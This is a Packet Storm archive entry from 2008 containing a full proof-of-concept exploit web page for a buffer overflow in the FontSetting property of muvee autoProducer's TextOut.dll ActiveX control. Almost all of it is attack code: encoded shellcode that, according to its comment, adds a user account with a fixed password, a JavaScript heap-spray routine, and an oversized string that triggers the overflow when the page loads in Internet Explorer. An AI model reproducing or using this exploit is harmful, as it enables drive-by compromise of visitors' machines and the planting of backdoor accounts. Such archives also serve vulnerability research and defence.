muvee-overflow.txt

2008-06-13T00:00:00
ID PACKETSTORM:67262
Type packetstorm
Reporter Nine:Situations:Group
Modified 2008-06-13T00:00:00

Description

                                        
                                            `<!--  
muvee Technologies Text-Effect DXT Filter for autoProducer (TextOut.dll v6.0.18.1)  
Fontsetting property remote buffer overflow exploit  
  
bug found by Nine:Situations:Group::Trotzkista  
our site: http://retrogod.altervista.org/  
  
software site: http://www.muvee.com/en/  
packages: muvee AutoProducer 6.0 / 6.1  
tested on Win2k3 datacenter edition / IE6  
WinXPSP2 / IE6  
dll settings:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller  
  
If you think this poc is useful, please help us to improve our equipment and  
donate through the paypal button on our site!  
-->  
<html>  
<object classid='clsid:AA478771-468A-41AB-9D97-263B6580FE8C' id='DXTTextOutEffect' />  
</object>  
<script language='javascript'>  
//completely ripped from a rgod exploit  
//add su one, user: sun pass: tzu  
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +  
"%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +  
"%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +  
"%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +  
"%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +  
"%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +  
"%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +  
"%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +  
"%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +  
"%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +  
"%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +  
"%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +  
"%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +  
"%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +  
"%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +  
"%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +  
"%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +  
"%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +  
"%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +  
"%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +  
"%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +  
"%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +  
"%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +  
"%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +  
"%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +  
"%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +  
"%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +  
"%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +  
"%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +  
"%u7734%u4734%u4570");  
bigblock = unescape("%u0A0A%u0A0A");  
headersize = 20;  
slackspace = headersize+shellcode.length;  
while (bigblock.length<slackspace) bigblock+=bigblock;  
fillblock = bigblock.substring(0, slackspace);  
block = bigblock.substring(0, bigblock.length-slackspace);  
while(block.length+slackspace<0x40000) block = block+block+fillblock;  
memory = new Array();  
for (i=0;i<510;i++){memory[i] = block+shellcode}  
buff=""; for (i=0;i<500;i++){buff = buff+unescape("%u0d0d%u0d0d")}  
DXTTextOutEffect.FontSetting=buff; window.location.reload( true );  
</script>  
</html>  
  
`